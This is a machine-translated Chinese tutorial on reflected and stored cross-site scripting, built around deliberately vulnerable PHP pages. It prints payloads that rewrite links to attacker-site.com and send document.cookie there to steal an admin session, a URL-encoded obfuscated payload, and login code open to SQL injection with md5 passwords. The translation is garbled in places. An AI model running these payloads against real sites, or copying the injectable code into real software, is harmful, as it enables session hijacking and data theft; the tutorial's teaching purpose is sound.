XSS攻击

分享于 

10分钟阅读

Web开发

  繁體 雙語

介绍

本文介绍了 XSS ( 跨站点脚本) 攻击及其两种类型。

背景

一个网页通常发生在一个网页上,并且我们应该知道to是什么以及如何避免网页安全。 本文只是介绍 XSS ;我将编写另一个文章来展示如何避免XSS攻击。

什么是XSS攻击?

XSS是'跨站点脚本'的缩写,它类似于 SQL注入 攻击。 SQL注入 攻击使用sql语句作为用户输入,在数据库中插入。更新或者 delete 数据。 XSS攻击使用恶性javascript来控制用户的浏览器。 XSS攻击可以分为两种类型:

1.非持久攻击
2.持久攻击

通过一些例子,我们将熟悉这两种XSS攻击。

1.非持久攻击

就像类型标题所暗示的,非持久攻击是一次攻击。 只有当用户在那个时刻访问那个页面时才有效。 非持久性攻击要求用户访问已经被攻击者更改的URL。 用户点击该链接时,浏览器将执行恶性脚本,并且攻击成功。

假设我们有 below index.php 页面:


<?php



$name = $_GET['name'];



echo "Welcome $name<br>";



echo "<a href="http://www.codeproject.com/steve/">Click to Download</a>";



?>



这里页面将显示两行信息:

  • 从URL获取'姓名'参数并在页面上显示。
  • 显示可以跳转到其他页面的链接。

此时,如果攻击者使用以下链接:


index.php?name=guest<script>alert('attacked')</script>



用户单击该链接时,将生成 below HTML代码,并带有消息'攻击'的警告对话框将弹出:


Welcome guest


<script>alert('attacked')</script>


<br>


<a href='http://www.codeproject.com/steve/'>Click to Download</a>



除了插入警告框,攻击者还可以使用 below 代码更改 URL:


index.php?name=


<script>


window.onload = function() {


var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}


</script>



当用户单击所提供的上面 URL时,index.php 页注入脚本脚本,index.php 页的源代码如下所示:


Welcome 


<script>


window.onload = function() {


var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}


</script>


<br>


<a href='http://www.codeproject.com/steve/'>Click to Download</a>



用户单击'点击下载'链接时,用户将跳到攻击者提供的链接。

对于用于攻击的URL,通常攻击者不会使用 上面 可读代码,他们会将它的转换成另一种格式,例如:


index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%6


9%6f%6e%28%29%20{%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74


%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70


%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b}%3c%2f%73%63%72%69%70%74%3e



2.持久攻击

持续攻击将攻击者的数据存储到网站的服务器中。 只要数据存在,攻击行为就会一直保持下去。 让我们看看一个使用持久攻击来获取会话ID的示例。

会话 background 知识:

我们知道HTTP是一个无状态协议: 所有请求和响应都是单独的。 有时我们需要储存状态信息。 用户登录到网站后的比如。 在他们的会话期间,用户不应该被要求输入用户名和密码。 在这个场景中,我们使用 Cookies 和会话来存储用户信息的状态。

当用户首次登录时,web服务器将为用户创建唯一的会话to并同时向浏览器发送 Cookies。 Cookies 保存需要使用的有用数据,会话ID是附加到这里数据的唯一标识。 下列请求都基于这里会话 ID。

攻击者可以提供一个链接,当用户单击时,将链接包含会话to的消息并将它的发送到服务器。 然后攻击者就可以得到用户ID和他的权限会话。

如果用户输入正确的用户名和密码,就会创建一个 login.php 页面,它会创建一个会话。


<?php


$Host= '192.168.1.8';


$Dbname= 'app';


$User= 'yyy';


$Password= 'xxx';


$Schema = 'test';


$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";



/* Connect with database asking for a new connection*/


$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);



/* Error checking the connection string */


if (!$Connect) {


 echo "Database Connection Failure";


 exit;


}



$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";


$result=pg_query($Connect,$query);


$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);


$user_pass = md5($_POST['pass_word']);


$user_name = $row['user_name'];



if(strcmp($user_pass,$row['password'])!=0) {


 echo "Login failed";


}


else {


 # Start the session


 session_start();


 $_SESSION['USER_NAME'] = $user_name;


 echo "<head> <meta http-equiv="Refresh" content="0;url=home.php"> </head>";


}


?> 



还有另一页'home.php',用于管理员。 这里页面将显示所有用户。 对于非管理员,页面将包含一个输入框,其中可以在数据库(。IE 创建自己的新帐户) 中插入新的用户名。


<?php


session_start();


if(!$_SESSION['USER_NAME']) {


 echo "Need to login";


}


else {


 $Host= '192.168.1.8';


 $Dbname= 'app';


 $User= 'yyy';


 $Password= 'xxx';


 $Schema = 'test';


 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";


 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);



 if($_SERVER['REQUEST_METHOD'] == "POST") {


 $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";


 pg_query($Connect,$query);


 echo "Update Success";


 }


 else {


 if(strcmp($_SESSION['USER_NAME'],'admin')==0) {


 echo "Welcome admin<br><hr>";


 echo "List of user's are<br>";


 $query = "select display_name from $Schema.members where user_name!='admin'";


 $res = pg_query($Connect,$query);


 while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {


 echo "$row[display_name]<br>";


 }


 }


 else {


 echo "<form name="tgs" id="tgs" method="post" action="home.php">";


 echo "Update display name:<input type="text" id="disp_name" name="disp_name" value="">";


 echo "<input type="submit" value="Update">";


 }


 }


}


?>



现在,让我们看看当当前用户不是管理员时如何获得管理员ID的会话。

首先,攻击者作为普通用户登录到网站,然后将 below 内容输入到文本框中:


<a href=# onclick="document.location='http://attacker-site.com/xss.php?c='+escape(document.cookie);">steve</a>



攻击者提供一个带有 <> 元素的数据,该数据将存储在数据库中。 当管理员登录时,包含用户'史蒂夫'的用户列表将显示。 如果管理员点击用户'史蒂夫',攻击者会在"attacker-site.com": 服务器上获取管理员id会话


xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3



一旦攻击者获得了会话 id,他就可以获得管理的所有权限。 另外,由于攻击数据已经存储在数据库中,只要没有删除攻击数据,攻击行为就会一直可用。

当然,持续的Xss攻击不仅可以窃取会话ID和cookie信息,而且非持续的Xss攻击也可以这样做。 只要攻击者能够对用户单击一个特殊链接,可以将 document.cookie 信息上传到特定服务器。


ATT  XSS